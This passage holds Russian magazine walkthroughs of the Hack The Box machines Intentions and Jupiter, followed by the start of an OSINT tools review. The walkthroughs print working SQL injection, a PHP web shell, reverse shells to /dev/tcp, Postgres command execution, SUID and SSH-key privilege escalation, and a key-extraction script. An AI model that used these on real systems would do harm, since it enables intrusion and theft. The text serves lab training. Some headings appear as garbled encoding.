Прос мотрев резуль тат, я ничего необыч ного не нашел, кро ме того, что мы
получа ем ошиб ку при отправ ке сим вола . Таким обра зом, как бы

ни менялось поле жан ра, ничего инте рес ного мы не добива емся.

"

Нем ного поб родив по сай ту, замеча ем, что жанр так же исполь зует ся
при прос мотре галереи. Там выпол няет ся вызов API 

.

/api/v1/gallery/user/
feed

Зап рос в Burp History

Мы получа ем раз ные изоб ражения в зависи мос ти от уста нов ленно го у нас
жан ра. Этот момент тоже необ ходимо про тес тировать, поэто му воз вра щаем- 
ся к нашим пра вилам и изме няем мак рос, что бы он выпол нял зап рос к API 

. Для изме нения выбира ем Re-record macro

и отме чаем нуж ный зап рос.

/
api/v1/gallery/user/feed

Нас трой ки мак роса

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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Macro Recorder

Пос ле изме нения мак роса перево дим зап рос в Burp Repeater и отправ ляем
обыч ную наг рузку с ком мента рием для Boolean-based-инъ екции 

.

test' or 
1=1 -- -

Зап рос на сер вер

От вет сер вера

В ответ получа ем ошиб ку — видимо, из-за кавыч ки. Тог да про буем ука зать
наг рузку без кавыч ки.

Зап рос на сер вер

От вет сер вера

Зап рос обра ботан, но дан ные никакие не получа ем. Перехо дим к перебо ру
наг рузок.

SQL-èíúåêöèÿ

Нас тра иваем Burp Intruder в один поток, толь ко в этот раз ничего извле кать
из отве та не будем, а прос то отсорти руем резуль тат по раз меру отве та.

Burp Intruder — вклад ка Positions

Ре зуль тат ата ки

И получа ем нес коль ко наг рузок, дающих иной резуль тат. Зна чит, SQL-инъ- 
екция воз можна, так что перехо дим к экс плу ата ции. Сох раним в виде фай лов
зап росы для записи наг рузки и для про вер ки резуль тата, пос ле чего переда- 
дим оба фай ла в , что бы авто мати зиро вать экс плу ата цию. Не забыва- 

ем акти виро вать шаб лон  для обхо да филь тра про белов.

sqlmap

space2comment

5 3 sqlmap -r r1.req --second-req r2.req --level= --risk= --tamper=
space2comment --batch

Ре зуль тат ска ниро вания sqlmap

Спус тя некото рое вре мя sqlmap опре деля ет и кеширу ет рабочую наг рузку.
Теперь мы можем перей ти к получе нию дан ных. Сна чала выведем спи сок баз
дан ных (параметр ).--dbs

5 3 
 

sqlmap -r r1.req --second-req r2.req --level= --risk= --tamper=
space2comment --batch --dbs

Су щес тву ющие базы дан ных

Нас инте ресу ет база , получим из нее (параметр ) все таб лицы
(параметр ).

intentions -D
--tables

5 3 
 

sqlmap -r r1.req --second-req r2.req --level= --risk= --tamper=
space2comment --batch -D intentions --tables

Таб лицы в базе intentions

Име ем четыре таб лицы. В охо те за учет ными дан ными получим все колон ки
(параметр ) таб лицы  (параметр ).--columns users -T

5 3 
   

sqlmap -r r1.req --second-req r2.req --level= --risk= --tamper=
space2comment --batch -D intentions -T users --columns

Ко лон ки в таб лице users

Нам нуж ны дан ные (параметр ) из колонок  и , а так же

 (параметр ), что бы понимать, кто из поль зовате лей сай та при виле- 
гиро ван ный.

--dump email password
admin -C

5 3 
   

sqlmap -r r1.req --second-req r2.req --level= --risk= --tamper=
space2comment --batch -D intentions -T users -C email,password,admin 
--dump

Дан ные из таб лицы users

И спус тя при мер но час получа ем учет ные дан ные всех поль зовате лей сай та.

Ïîâûøåíèå ïðèâèëåãèé

Ис поль зован алго ритм хеширо вания bcrypt, хеши которо го мож но переб рать
при помощи  вот такой коман дой:hashcat

 0 hashcat -m 3200 -a --username hashes.txt rockyou.txt 

По дож дав десять минут и не получив резуль тата, я оста новил брут. Видимо,
такой век тор не пред полагал ся авто ром машины (все хеши на машинах
с Hack The Box переби рают ся не доль ше пяти минут по сло варю

).rockyou.txt

Я вер нулся на веб-сер вер и решил переб рать фай лы. Так как уже видели
нес коль ко фай лов JavaScript в катало ге , будем переби рать с этим рас- 

ширени ем. Я вос поль зуюсь для это го .

/js
feroxbuster

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де ,  или . Я пред почитаю

.
dirsearch DIRB ffuf

feroxbuster
При запус ке ука зыва ем сле дующие парамет ры:

 — URL;• -u

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — глу бина ска ниро вания;• -d

 — рас ширение фай лов;• -x

 — код отве та.• -s

За пус каем ска ниро вание:

 256  1 
 js  200 

feroxbuster -u http://intentions.htb/js/ -t -d -w directory_2.
3_medium_lowercase.txt -x -s

Ре зуль тат ска ниро вания фай лов с помощью feroxbuster

Об наружи ваем файл с говоря щим наз вани ем . Файл боль шой, и при

попыт ке най ти сло ва, содер жащие стро ку , натыка емся на инте рес ные
сооб щения.

admin.js
pass

Со дер жимое фай ла admin.js

В сооб щении ска зано, что адми нис тра тор может исполь зовать API v2 и авто- 
ризо вать ся по хешу, а не по паролю. Отправ ляем из Burp History зап рос к API

 в Burp Repeater и изме няем вер сию API с v1 на v2.login

Зап рос к API /api/v2/auth/login

Нам сооб щают, что необ ходимо пре дос тавить парамет ры  и .

Исполь зуем учет ные дан ные поль зовате ля  и получа ем сооб щение

об успешной авто риза ции.

email hash
greg

Зап рос к API /api/v2/auth/login

При меним сес сию к бра узе ру и прос мотрим дос тупные стра ницы.

Глав ная стра ница адми нис тра тора

Из сооб щения «v2 API Update» дела ем вывод, что исполь зует ся класс PHP
. Я сра зу прос мотрел, нет ли в нашей вер сии извес тных уяз вимос тей,

и поис ки при вели меня к прош логод нему , най ден ному коман дой PT
Swarm.

Imagick
ба гу

По иск уяз вимос тей в Google

PHP Imagick RCE

В статье отме чено наличие SSRF в конс трук торе клас са Imagick, но, помимо
это го, исполь зовав MSL (Magick Scripting Language), мож но раз вить уяз- 
вимость до RCE. Это встро енный язык ImageMagick, который облегча ет обра- 
бот ку изоб ражений. С его помощью мож но в чис ле про чего вза имо дей ство- 
вать с фай ловой сис темой. Это инте рес но, учи тывая, что на нашем сай те есть
воз можность редак тировать изоб ражения.

Стра ница Images

Про буем изме нить отте нок, пос ле чего прос матри ваем зап рос в Burp History.

Зап рос к API /api/v2/admin/image/modify

В зап росе переда ется отте нок и путь к фай лу кар тинки. Исполь зуя этот зап- 
рос и метод из статьи, поп робу ем передать файл MSL, ука зыва ющий на изоб- 
ражение с веб-шел лом, рас положен ное на нашем веб-сер вере, а потом поп- 
робу ем обра тить ся к такому изоб ражению.

Пер вым делом соз дадим изоб ражение с веб-шел лом.

  convert xc:red -set 'Copyright' '<?php system($_GET["a"]); ?>' expl.
png 

Пе реда вать будем вот таким фай лом MSL.

<?xml version="1.0" encoding="UTF-8"?>
<image>

  <read filename="http://10.10.14.42/expl.png" />
  <write filename="/var/www/html/intentions/public/expl.php" />

</image>

Продолжение статьи →

https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/epi052/feroxbuster
https://github.com/danielmiessler/SecLists
https://www.php.net/manual/en/class.imagick.php
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
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А теперь нам нуж но одновре мен но запус тить два зап роса в Burp Intruder.
В пер вом мы будем переда вать файл MSL, а во вто ром — пытать ся успеть
к нему обра тить ся, пока он не исчез из вре мен ного катало га ./tmp

Зап рос с фай лом MSL

Зап рос к вре мен ному фай лу

Для обо их интру деров уста нав лива ем 100–1000 наг рузок с пус той наг рузкой.

Burp Intruder — вклад ка Payloads

Пос ле запус ка обо их интру деров в логах веб-сер вера видим обра щение
к изоб ражению с наг рузкой.

Ло ги веб-сер вера

Со дер жимое кар тинки с наг рузкой было получе но и сох ранено на сер вере
в файл PHP. Про буем выпол нить коман ду .id

http://intentions.htb/expl.php?a=id

Ре зуль тат выпол нения коман ды id

Ко ман ды выпол няют ся, а зна чит, запус каем лис тенер 
и выпол няем реверс-шелл:

pwncat-cs -lp 4321

sh  -i >& /dev/tcp/10.10.14.42/4321 0>&1 

Сес сия поль зовате ля www-data

ÏÐÎÄÂÈÆÅÍÈÅ
Так как у нас есть дос туп к дан ным сай та, сто ит пос мотреть, нет ли в исходни- 
ках каких-нибудь учет ных дан ных.

В катало ге сай та находим дирек торию ..git

Со дер жимое катало га /var/www/html/intentions

Ска чав весь репози торий, мы получим не толь ко текущие фай лы, но и исто- 
рию их изме нения. При раз работ ке для удобс тва очень час то исполь зуют ся
ста тичес кие учет ные дан ные. Поэто му архи виру ем этот каталог и ска чива ем
архив с сай та.

 tar -cf ./public/arc.tar ./.git/ 

На локаль ном хос те разар хивиру ем файл и смот рим исто рию ком митов
с помощью VS Code.

Ис тория ком митов

По оче ред но прос матри вая исто рию изме нений, видим уда лен ную стро ку
с учет ными дан ными.

Ис тория изме нения фай ла

С най ден ными учет ными дан ными получа ется авто ризо вать ся по SSH.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
Вы пол няем коман ду  и узна ём, что наш поль зователь чис лится в груп пе

. Сра зу поищем фай лы, при над лежащие этой груп пе.

id
scanner

find / -group scanner -type f 2>/dev/null 

Фай лы груп пы scanner

Наш ли один исполня емый файл, который мы не можем получить для изу- 
чения, но можем выпол нить.

Ин форма ция о фай ле scanner

Ско рее все го, он поможет нам в повыше нии при виле гий, но как имен но —
пока неяс но. Поэто му перей дем к стан дар тно му шагу — авто мати чес кому
ска ниро ванию сис темы с помощью PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе LinPEAS обра щаем вни мание на Linux capabilities.

Linux capabilities

В Linux поль зователь root получа ет осо бый кон текст при запус ке любых про- 
цес сов. Так, ядро и при ложе ния, работа ющие от име ни root, обыч но про пус- 
кают любые огра ниче ния, задан ные на дей ствия в опре делен ном кон тек сте,
поэто му root может делать все, что захочет. Но что, если про цес су, который
работа ет в неп ривиле гиро ван ном кон тек сте, нуж но выпол нить тре бующее
при виле гий дей ствие, не повышая уров ня прав?

Нап ример, быва ет нуж но раз решить про цес су записы вать в жур нал ауди та
ядра, но не поз волять отклю чить этот аудит. Ведь если запус тить этот про- 
цесс в кон тек сте рута, он смо жет выпол нить оба дей ствия!

Тут на помощь и при ходят Linux capabilities. Эти «воз можнос ти» пре дос- 
тавля ют про цес су не все мно жес тво при виле гий, а какое-то его под мно жес- 
тво. Дру гими сло вами, все при виле гии рута раз бива ются на более мел кие
незави симые друг от дру га при виле гии и про цесс получа ет толь ко те,
которые ему нуж ны.

Ис полня емый файл  име ет при виле гию

, которая поз воля ет про читать любой файл в сис теме.
Видимо, дос туп к фай лам поль зовате ля  — это и есть наш путь

для повыше ния при виле гий.

/opt/scanner/scanner
cap_dac_read_search

root

Изу чив справ ку это го ска нера, находим инте рес ную воз можность при- 
ложе ния: если мы ука жем файл для чте ния, количес тво сим волов и хеш, то
прог рамма про чита ет из фай ла ука зан ное количес тво сим волов, вычис лит
хеш MD5 и срав нит с передан ным ей вари антом, пос ле чего выдаст резуль тат
срав нения.

Так мы можем пооче ред но переб рать все сим волы в фай ле и получить его
пол ное содер жимое. Про чита ем пер вый сим вол из фай ла и срав ним хеш,
который вер нет при ложе ние, с хешами всех сим волов пооче ред но. Ког да
хеши рав ны, мож но ска зать, что мы наш ли пер вый сим вол. Зная пер вый, мы
можем переб рать таким же обра зом вто рой сим вол и так далее все содер- 
жимое фай ла.

  t | echo -n md5sum

 echo test > /home/greg/file.test 
 1 /opt/scanner/scanner -c /home/greg/file.test -l -s 

e358efa489f58062f10dd7316b65649e -p

Про вер ка теории

Пер вым делом нуж но опре делить, какой файл читать. Переда ем ска неру путь
к при ват ному клю чу SSH поль зовате ля root и узна ём, что такой файл сущес- 
тву ет.

Ре зуль тат работы прог раммы

Я реали зовал наш сце нарий рас шифров ки в виде прос тень кого скрип та
на Python и получил при ват ный ключ.

 import hashlib
 import os
 import string

  content = ""
  length = 1
 while True:

    cmd = f"/opt/scanner/scanner -c /root/.ssh/id_rsa -l {length} -s 
111 -p"
    hash = os.popen(cmd).read().split(" ")[-1].rstrip()

    char = None
     for c in string.printable:

           if hash == hashlib.md5((content + c).encode()).hexdigest():
            char = c

          break

   if char:
       print(char, end="")

        content += char
        length += 1

  else:
      break

При ват ный ключ поль зовате ля

Сох раня ем ключ в файл, коман дой  наз нача ем нуж ные

пра ва и под клю чаем ся по SSH от име ни рута.

chmod 0600 id_rsa

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
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ВЗЛОМ

В этой статье мы получим дос туп к веб-сер- 
веру через RCE-уяз вимость и экс плу ата цию
SQL-инъ екции в PostgreSQL. Затем вос- 
поль зуем ся фрей мвор ком Jupyter
для выпол нения про изволь ного кода
и повысим при виле гии в SatTrack.

На ша цель — зах ват прав супер поль зовате ля на тре ниро воч ной машине
Jupiter с пло щад ки . Уро вень ее слож ности — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.216 jupiter.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
порт 22 — служ ба OpenSSH 8.9p1;•
порт 80 — веб-сер вер Nginx 1.18.0.•

При таком выборе начинать нуж но с изу чения сай та.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ
На самом сай те ничего инте рес ного не находим, поэто му поп робу ем поис- 
кать под домены.

Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — HTTP-заголо вок.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

За пус каем ска ниро вание, перечис лив все нуж ные парамет ры:

ffuf  
256  

-u http://jupiter.htb -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.jupiter.htb'

Ре зуль тат ска ниро вания под доменов

В вывод попада ют абсо лют но все вари анты из спис ка, а зна чит, будем
исполь зовать филь тр , что бы убрать из вывода стра ницы раз- 

мером 178 байт.

-fs

ffuf  
256    178 

-u http://jupiter.htb -w subdomains-top1million-110000.txt -t
-H 'Host: FUZZ.jupiter.htb' -fs

Ре зуль тат ска ниро вания под доменов

На ходим новый под домен , который добав ляем в файл .
Обно вив файл, прос матри ваем сайт.

kiosk /etc/hosts

10.10.11.216 jupiter.htb kiosk.jupiter.htb

Глав ная стра ница сай та kiosk.jupiter.htb

Все дей ствия я про изво жу через Burp, поэто му, про верив Burp History, сра зу
обра тил вни мание на то, что исполь зует ся API и в парамет ре  переда- 

ется сле дующий SQL-зап рос:

rawSql

       select count(parent) from moons where parent = 'Saturn';

Зап рос в Burp History

Это явная точ ка вхо да, поп робу ем вос поль зовать ся ей.

ÒÎ×ÊÀ ÎÏÎÐÛ
С точ ки зре ния пен тесте ра, Postgres хорош тем, что может дать выпол нение
команд в кон тек сте поль зовате ля-служ бы. Механизм прос той: соз даем таб- 
лицу и запол няем ее выводом выпол ненной коман ды. С помощью Burp
Repeater отправ ляем SQL-зап рос для соз дания таб лицы.

   create table cmd_exec(cmd_output text);

Зап рос в Burp Repeater

Ни каких оши бок нам не вер нули, поэто му запус каем локаль ный веб-сер вер
на осно ве Python и выпол няем на него тес товый зап рос с уда лен ного сер- 
вера при помощи curl.

    copy cmd_exec from program 'curl http://10.10.14.188/test_rce';

Зап рос в Burp Repeater

Ло ги веб-сер вера

По луча ется, у нас есть RCE, поэто му запус каем лис тенер (

) и проб расыва ем самый обыч ный реверс-шелл:

pwncat-cs -lp 
4321

bash  -i >& /dev/tcp/10.10.14.188/4321 0>&1 

Ко неч ный SQL-зап рос будет выг лядеть вот так:

    copy cmd_exec from program 'bash -c "bash -i >& /dev/tcp/10.10.14.
188/4321 0>&1"';

Сес сия поль зовате ля postgresql

По луча ем сес сию в кон тек сте поль зовате ля , но спус тя минуту

сес сия обры вает ся.

postgresql

Со обще ние об унич тожении сес сии

Сколь ко раз я ни про киды вал реверс-шелл, он всег да поч ти тут же уми рал.
В таком слу чае нам нуж но быс тро зак репить ся на хос те.

Ñîõðàíåíèå äîñòóïà
Са мый прос той спо соб сох ранить дос туп в Linux — это, конеч но же, запись
клю ча SSH. Но сна чала про верим коман дную обо лоч ку поль зовате ля в фай ле

./etc/passwd

Со дер жимое фай ла /etc/passwd

При сутс тву ет коман дная обо лоч ка , а зна чит, мы можем авто ризо- 
вать ся по SSH. Генери руем пару клю чей и записы ваем пуб личный в файл 

.

/bin/bash
~/.

ssh/authorized_keys

ssh-keygen 
cat /var/lib/postgresql/.ssh/id_rsa.pub > /var/lib/postgresql/.ssh/
authorized_keys 
cat /var/lib/postgresql/.ssh/id_rsa 

За пись клю ча SSH

А теперь копиру ем при ват ный ключ на свой хост, наз нача ем пра ва (

) и под клю чаем ся к сер веру.

chmod 
0600 id_rsa

ssh -i id_rsa_postgres postgres@10.10.11.216 

Сес сия поль зовате ля postgres

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü juno
Те перь нам нуж но соб рать информа цию. Я, как обыч но, буду исполь зовать
для это го скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим ему пра во на выпол нение и запус- 
тим ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем
толь ко зна чимую.

В спис ке прос лушива емых пор тов находим инте рес ный веб-порт 8888.

Спи сок активных пор тов

В  есть каталог , при над лежащий поль зовате лю ./opt solar-flares jovian

Со дер жимое катало га /opt

Файл  был недав но изме нен, и наш

поль зователь име ет пра во на запись в этот файл.

/dev/shm/network-simulation.yml

Фай лы с пра вом на запись, изме нен ные в течение пяти минут

Заг лянем в най ден ный файл. В нем про писан запуск команд 

 и .

python3 -m 
http.server 80 curl -s server

Со дер жимое фай ла /dev/shm/network-simulation.yml

Ин терес но, запус кают ся ли они в дей стви тель нос ти и какой про цесс исполь- 
зует эти нас трой ки. Поп робу ем отсле дить запус каемые про цес сы в сис теме
ути литой . Судя по ее выводу, про цес сы и прав да запуще ны поль- 
зовате лем . Сам файл с нас трой ками переда ется ути лите .

pspy64
juno shadow

Вы вод ути литы pspy64

Так как мы име ем пра во на запись в этот файл, откро ем его и изме ним
исполня емые коман ды на  и 

.

cp /bin/bash /tmp/bash chmod u+s /tmp/
bash

Из менен ная кон фигура ция

Так мы пер вой коман дой соз даем копию фай ла коман дной обо лоч ки 
, вла дель цем которо го при копиро вании ста новит ся . Вто рой коман- 

дой мы наз нача ем нашей копии S-бит. Ког да  выпол нится вновь, пос- 

мотрим пра ва фай ла .

/bin/
bash juno

shadow
/tmp/bash

Пра ва фай ла /tmp/bash

Пос коль ку фай лу уста нов лен атри бут SUID, любой поль зователь, запус тивший
его, получит повыше ние прав до поль зовате ля — вла дель ца фай ла в рам ках
запущен ного про цес са. В дан ном слу чае это юзер .juno

/tmp/bash -p

Сес сия поль зовате ля juno

Так как мы получа ем лишь , а не пол ноцен ную сес сию, запишем поль- 
зовате лю тот же самый SSH-ключ и авто ризу емся уже по SSH.

euid

Флаг поль зовате ля

Ïîëüçîâàòåëü jovian
Те перь у нас есть дос туп к про екту  в катало ге .solar-flares /opt

Со дер жимое катало га /opt/solar-flares

Пе рей дем к пор ту 8888, где раз верну то какое-то веб-при ложе ние. Про кинем
дан ный порт на свой хост через SSH.

ssh -i id_rsa_postgres juno@10.10.11.216 -L 8888:127.0.0.1:8888 

Те перь весь тра фик, который мы пош лем на локаль ный порт 8888, будет тун- 
нелиро ван на порт 8888 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
SSH-хост. Под клю чаем ся к пор ту.

Глав ная стра ница http://127.0.0.1:8888/

Это сис тема Jupyter, логи которой мы видели в катало ге 

. Для авто риза ции нам нужен логин или пароль, поп робу ем най ти их

в логах.

/opt/solar-flares/
logs/

Ло ги Jupyter

На ходим токен в URL стра ницы. Прос то перей дем по этой ссыл ке и получим
спи сок фай лов Jupyter.

Глав ная панель Jupyter

Jupyter — это инте рак тивный блок нот, изна чаль но раз работан ный
для IPython, но теперь ори енти рован ный на работу со мно жес твом сред
выпол нения. Для нас же глав ное, что он поз воля ет выпол нять код.

Вы бира ем в меню Jupyter пункт New → Python 3.

Пе реход к стра нице выпол нения вхо да

За пишем поль зовате лю SSH-ключ, для чего сна чала ско пиру ем его и дадим
пра ва для чте ния дру гим поль зовате лям.

cp ~/.ssh/authorized_keys /tmp/id_rsa.pub 
chmod 777 /tmp/id_rsa.pub 

А теперь через Jupyter выпол ним код, копиру ющий ключ поль зовате лю
, от име ни которо го работа ет Jupyter.jovian

import os; os.system("cat /tmp/id_rsa.pub > /home/jovian/.ssh/
authorized_keys")

Вы пол нение кода в Jupyter

Те перь с при ват ным клю чом под клю чаем ся по SSH.

ssh -i id_rsa_postgres jovian@10.10.11.216 

Сес сия поль зовате ля jovian

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ
При изме нении кон тек ста работы сра зу про веря ем файл sudoers.

 sudo -l

Нас трой ки sudoers

Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Как видишь, мы можем запус тить коман ду  от име- 
ни поль зовате ля  без вво да пароля. При попыт ке запус тить это при ложе- 

ние узна ем, что это некая «сис тема тре кин га спут ников». А если поищем
в нем стро ку , то получим путь к фай лу с нас трой ками.

/usr/local/bin/sattrack
root

config

Все стро ки, содер жащие сло во config

При поис ке в Google по сло вам «github tleroot hgt updatePeriod», взя тым
из фай ла, получа ем все го одну ссыл ку на репози торий — . И в этом
репози тории находим .

arftracksat
при мер кон фига

{
   "tleroot": "/tmp/tle/",
   "tlefile": "weather.txt",
   "mapfile": "/usr/local/share/arftracksat/map.json",
   "texturefile": "/usr/local/share/arftracksat/earth.png",

   "tlesources": [
       "http://celestrak.org/NORAD/elements/weather.txt",
       "http://celestrak.org/NORAD/elements/noaa.txt",
       "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&
FORMAT=tle"
   ],

   "updatePerdiod": 1000,

   "station": {
       "name": "LORCA",
       "lat": 37.6725,
       "lon": -1.5863,
       "hgt": 335.0
   },

   "show": [
   ],

   "columns": [
       "name",
       "azel",
       "dis",
       "geo",
       "tab",
       "pos",
       "vel"
   ]
}

В парамет ре  ука заны ссыл ки для получе ния дан ных, а в парамет- 
рах  и  — каталог и имя фай ла для их сох ранения. Давай поп- 

робу ем заг рузить со сво его сер вера и переза писать ключ SSH, для чего нем- 
ного изме ним кон фиг и поменя ем эти парамет ры.

tlesources
tleroot tlefile

{
  "tleroot": "/root/.ssh/",
  "tlefile": "authorized_keys",
  "mapfile": "/tmp/map.json",
  "texturefile": "/tmp/map.json",

  "tlesources": [
      "http://10.10.14.188/authorized_keys"
  ],

  "updatePerdiod": 1000,

  "station": {
      "name": "LORCA",
      "lat": 37.6725,
      "lon": -1.5863,
      "hgt": 335.0
  },

  "show": [
  ],

  "columns": [
      "name",
      "azel",
      "dis",
      "geo",
      "tab",
      "pos",
      "vel"
  ]
}

За пуск SatTrack

В логах видим, что дан ные успешно заг ружены с нашего сер вера. Под клю- 
чаем ся с при ват ным клю чом и забира ем флаг рута.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
https://github.com/arf20/arftracksat
https://github.com/arf20/arftracksat/blob/master/config.json


ИЗВЛЕКАЕМ ДАННЫЕ 
ИЗ INSTAGRAM, TELEGRAM,

GITHUB И ДРУГИХ ИСТОЧНИКОВ

Luc1fer_Lan1us
viktorkoen8@gmail.com

ТРЮКИ

Раз ведка по откры тым источни кам —
не толь ко увле катель ное занятие само
по себе, но и важ ный навык, который быва- 
ет полезен в нас тоящих рас сле дова ниях.
Опыт ные сле допы ты обыч но при меня ют
спе циаль ный инс тру мен тарий, о котором
мы и погово рим в этой статье.

Cбор пер сональ ной информа ции без получе ния
сог ласия наруша ет закон «О пер сональ ных дан- 
ных». Так же подоб ные дей ствия могут обра зовать
сос тав прес тупле ния по статье 137 УК РФ
«Наруше ние неп рикос новен ности час тной жиз- 
ни». Вся информа ция в статье пре дос тавле на
исклю читель но в озна коми тель ных целях.
Ни автор, ни редак ция не несут ответс твен ности
за любые пос ледс твия исполь зования при веден- 
ных в этой пуб ликации све дений.

Чи тай так же мой пер вый обзор ути лит для OSINT:
«

».
5 ути лит для OSINT. Собира ем инс тру мен тарий

сетево го раз ведчи ка

ZEHEF

Ути лита  написа на на Python и пред назна чена для сбо ра информа ции
об адре се элек трон ной поч ты. Она про веря ет репута цию адре са в раз ных
источни ках и находит потен циаль но свя зан ные акка унты в соц сетях. Край не
полез но, что бы про верить, не све тилась ли где-то поч та, а при некото ром
везении еще и получить логин от учет ных записей в соц сетях и дру гих сер- 
висах.

Zehef

Ус танав ливать все инс тру мен ты мы будем на Kali
Linux. Одна ко в дру гих дис три бути вах уста нов ка
вряд ли будет силь но отли чать ся.

Для уста нов ки Zehef прос то кло ниру ем репози торий и уста нав лива ем зависи- 
мос ти:

git clone https://github.com/N0rz3/Zehef.git 
cd Zehef 
pip  install -r requirements.txt 

Ус танов ка Zehef

За пус каем:

python3 zehef.py <email> 

Офор мле ние вывода вро де и пытались сде лать кра сиво, но выш ло не очень
информа тив но. При ходит ся прос матри вать весь вывод, что бы соб рать все
инте рес ные вещи, а инте рес ного немало.

Ре зуль таты поис ка

Ви дим, что на наш тес товый адрес есть учет ные записи, а еще он зарегис три- 
рован в Twitter/X, на GitHub и на нес коль ких пор носай тах.

Ре зуль таты поис ка

Как и любая мало-маль ски слож ная прог рамма, Zehef иног да выда ет ошиб ки.
Если ты получа ешь ошиб ку вро де той, что на скрин шоте ниже, — уда ляй код
поис ка по TikTok, и все зарабо тает как надо.

Ошиб ка

Сте реть нуж но вот этот файл:

Zehef/modules/possible_accounts/social/tiktok.py 

А так же уда ляй выделен ные на скрин шотах ниже час ти кода в 
.

Zehef/output/
main.py

Аль тер натив ный вари ант — прос то заком менти ровать глюч ные учас тки, что я
и сде лал.

NETSOC_OSINT

Этот скрипт написан на Bash и нап равлен на выг рузку мак сималь ного
количес тва информа ции о поль зовате ле из отдель ных соц сетей. При этом
не тре бует ся авто риза ция в них. Выг лядит это так: ты выбира ешь одну из дос- 
тупных сетей и работа ешь уже исклю читель но в рам ках того, что дос тупно
имен но для нее. Зато дела ешь это мак сималь но точ но! Но лич но для меня
было важ нее все го то, что для работы скрип та даже не нуж но получать API-
токены левых акка унтов и впи сывать их в кон фиги.

Под держи вают ся сле дующие сер висы:
Instagram;•
TikTok;•
Twitter/X;•
Twitch;•
Telegram;•
GitHub.•

Для каж дого дос тупна работа не толь ко с откры тыми, но и с при ват ными учет- 
ными запися ми.

Ус танов ка прос та. Скрипт пред став ляет собой все го один файл
без зависи мос тей (раз ве что Bash у тебя дол жен быть). Ска чаем репози- 
торий, дадим пра ва на исполне ние — и полете ли.

git clone https://github.com/XDeadHackerX/NetSoc_OSINT 
cd NetSoc_OSINT 
chmod 777 netsoc_osint.sh 
bash netsoc_osint.sh 

Мож но будет задать язык, а затем попада ем в само меню инс тру мен та. Тут
пред лага ется выб рать инте ресу ющую тебя соц сеть.

Ин терфейс инс тру мен та

